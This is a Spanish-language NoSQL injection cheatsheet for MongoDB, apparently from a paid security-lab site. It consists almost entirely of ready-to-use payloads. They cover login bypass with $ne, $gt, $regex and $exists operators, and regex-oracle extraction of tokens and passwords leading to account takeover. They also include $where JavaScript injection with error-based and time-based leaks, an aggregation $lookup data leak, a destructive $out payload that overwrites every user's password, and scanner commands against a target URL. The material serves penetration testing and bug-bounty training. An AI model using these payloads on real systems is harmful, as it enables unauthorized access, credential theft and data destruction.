Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet NoSQL Injection

Inyeccion NoSQL (MongoDB)

Referencia rápida

  • Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
  • $regex permite extraccion caracter por caracter - ideal para tokens y passwords
  • Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
  • $lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
  • Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no

Bypass de autenticacion

URL format - $ne

username[$ne]=toto&password[$ne]=toto

URL format - $regex

username[$regex]=.*&password[$regex]=.*

URL format - $exists

username[$exists]=true&password[$exists]=true

JSON - $ne null

{"username": {"$ne": null}, "password": {"$ne": null}}

JSON - $ne string

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

JSON - $gt undefined

{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

JSON - $gt empty

{"username": {"$gt": ""}, "password": {"$gt": ""}}

Inyeccion de operadores

Not equals

username[$ne]=1&password[$ne]=1

Regex match

username[$regex]=^adm&password[$ne]=1

Regex longitudDeterminar longitud del campo

username[$regex]=.{25}&pass[$ne]=1

Equals

username[$eq]=admin&password[$ne]=1

Less than

username[$ne]=admin&pass[$lt]=s

Greater than

username[$ne]=admin&pass[$gt]=s

Not in array

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7

$in con multiples usuarios

{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}

$regex oracle - extraccion caracter por caracter

Extraer primer caracterSi respuesta es diferente, el campo empieza con A

{"token": {"$regex": "^A"}}

Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match

{"token": {"$regex": "^Ab"}}

Password reset token leak

1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATO

Binary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios

{"password": {"$regex": "^[a-m]"}}

$where y JavaScript injection

$where basico

' || 1==1//

$where con null byte

' || 1==1%00

$where equals

'=='

Error-based extractionEl error message incluye el valor secreto

{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}

Time-based injection

admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'

Sleep-based

';sleep(5000);

Inyeccion en aggregation pipeline

$lookup - JOIN para leak data

[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]

$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion

[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]

Prisma findFirst bypassfindFirst es vulnerable, findUnique no

{"username": {"not": "admin"}, "email": {"startsWith": "a"}}

Herramientas

NoSQLMap

Herramienta automatizada de NoSQL injection para MongoDB

python3 nosqlmap.py -u https://target.com/login -p username,password

nosqli

Scanner CLI de NoSQL injection con multiples tecnicas

nosqli scan -t https://target.com/api/login

Burp Suite + NoSQLi extension

Extension de Burp para deteccion automatica de NoSQL injection

Burp > Extensions > NoSQL Injection

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica